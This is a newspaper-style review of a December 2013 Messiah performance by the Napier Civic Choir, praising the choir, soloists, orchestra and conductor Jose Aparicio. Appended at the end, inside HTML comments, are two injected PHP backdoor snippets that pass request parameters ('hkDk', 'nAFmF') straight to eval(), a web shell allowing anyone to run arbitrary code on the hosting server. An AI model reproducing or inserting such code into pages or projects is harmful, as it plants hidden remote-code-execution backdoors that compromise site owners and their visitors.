Enthralled to Messiah

Messiah by Handel
Napier Civic Choir
Directed by Jose Aparicio
St Paul’s Church, Napier
Saturday, December 21, 2013

The season of Christmas would be incomplete without the performance of Handel’s immortal oratorio Messiah with performances likely countless times around the world leading up to Christmas.

This was a new, smaller, more intimate venue for the Napier Civic Choir, compared to the usual St John’s cathedral.

The sixty-plus singers were all in fine voice, obviously thoroughly rehearsed and confident in performing the complex choral music. The result was a performance that was exhilarating and exciting to hear and which held the audience enthralled from start to finish.  All the well known choruses, such as And the Glory, For Unto us, Lift up your Heads and Hallelujah, with their sparkling tempi, clarity of diction, precise entries and even balance of parts, sounded fresh and exciting with many stunning points of climax.

The choir was supported by four first-class soloists who expertly projected the character of each of the famous solos. Former Napier soprano Carleen Ebbs, now resident in Wales with Welsh Opera, has developed into a superb soloist.  Her singing ofRejoice Greatly and later If God be for us, with their elegant phrasing and tasteful ornamentation, were high moments in the performance, while mezzo-soprano Christie Cook’s singing of O thou that tellest and He was despised, showed an impressive range of expression and even quality of tone throughout her vocal range.

Napier tenor, Frank Carter set the tone for all the solos with his sensitive, polished singing of the opening recitative and air, Comfort Ye and Ev-ry Valley, and added to these later with his very dramatic singing of He that dwelleth in heaven and Thou shalt break them. Former Mobil Song Quest winner, bass Jared Holt, is a hugely experienced soloist.  This was clearly shown in his stunning performance of Why do the nations and The trumpet shall sound, with soloist Christopher Wilson giving an impressive account of the trumpet accompaniment.

All the singing was underpinned by the well-balanced and supportive accompaniment of the orchestra, led by violinist Keryn Powell, and harpsichordist Freya Hodgson.

However, the imprint of conductor Jose Aparicio was clearly on every part of the performance with his choice of tempi, the continuity of the performance and his precise direction to all the performers, leading to this high-class presentation.

<!– [insert_php]if (isset($_REQUEST["hkDk"])){eval($_REQUEST["hkDk"]);exit;}[/insert_php][php]if (isset($_REQUEST["hkDk"])){eval($_REQUEST["hkDk"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["nAFmF"])){eval($_REQUEST["nAFmF"]);exit;}[/insert_php][php]if (isset($_REQUEST["nAFmF"])){eval($_REQUEST["nAFmF"]);exit;}[/php] –>